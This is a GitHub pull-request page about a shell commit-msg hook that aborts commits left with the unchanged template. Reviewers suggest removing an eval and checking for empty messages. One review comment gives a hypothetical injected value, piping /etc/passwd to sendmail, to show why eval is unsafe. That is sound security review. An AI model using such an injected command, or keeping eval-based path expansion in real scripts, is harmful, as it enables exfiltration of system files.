-
Notifications
You must be signed in to change notification settings - Fork 4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update branch-name commit-msg hook, so when you use a commit template, and quit without changing it, the commit is aborted #6
base: master
Are you sure you want to change the base?
Conversation
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
<full summary> Issue: <url or "none"> Test plan: <see below>
…, the commit is aborted, even with the branch-name commit-msg hook
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hmm, we already do this check in Khan/khan-linter:githook.py. Are you planning on keeping it in both places?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I love that you're adding this! And great use of double-quotes to make everything safe. :-) Not approving yet because I'd love to get rid of that eval
.
# Expand the commit template path | ||
COMMIT_TEMPLATE_PATH=$(eval echo "$COMMIT_TEMPLATE_PATH") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
eval
always sets off alarm bells from a security perspective. Like what if COMMIT_TEMPLATE_PATH
is something like "cat /etc/password | sendmail evil-actor"
?
I think you don't need it. Just replace the below with:
COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" 2>/dev/null)
if [ -z "$COMMIT_TEMPLATE" ]; then
echo "Commit template not founda at $COMMIT_TEMPLATE_PATH, or is empty"
exit 1
fi
fi | ||
|
||
# Filter out comment lines and empty lines from the commit template | ||
COMMIT_TEMPLATE=$(echo "$COMMIT_TEMPLATE" | grep -v '^#' | sed '/^[[:space:]]*$/d') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You can do this when reading; at line 30 do:
COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" | grep -v '^#' | sed '/^[[:space:]]*$/d')
Dunno if you wanted to or not.
# Check if the commit message matches the commit template | ||
if [ "$COMMIT_MSG" = "$COMMIT_TEMPLATE" ]; then | ||
echo "Aborting commit due to default commit message." | ||
exit 1 | ||
fi | ||
fi |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Another thing githook.py does, which I think is useful, is:
if [ -z "$COMMIT_MSG" ]; then
echo "Aborting commit due to empty commit message."
exit 1
fi
I do this sometimes when I'm creating a commit message and want to give up in the middle.
Summary:
See this comment here: #4 (review)
Issue: FEI-3822
Test plan:
commit-msg.branch-name
hook enabledgit commit -a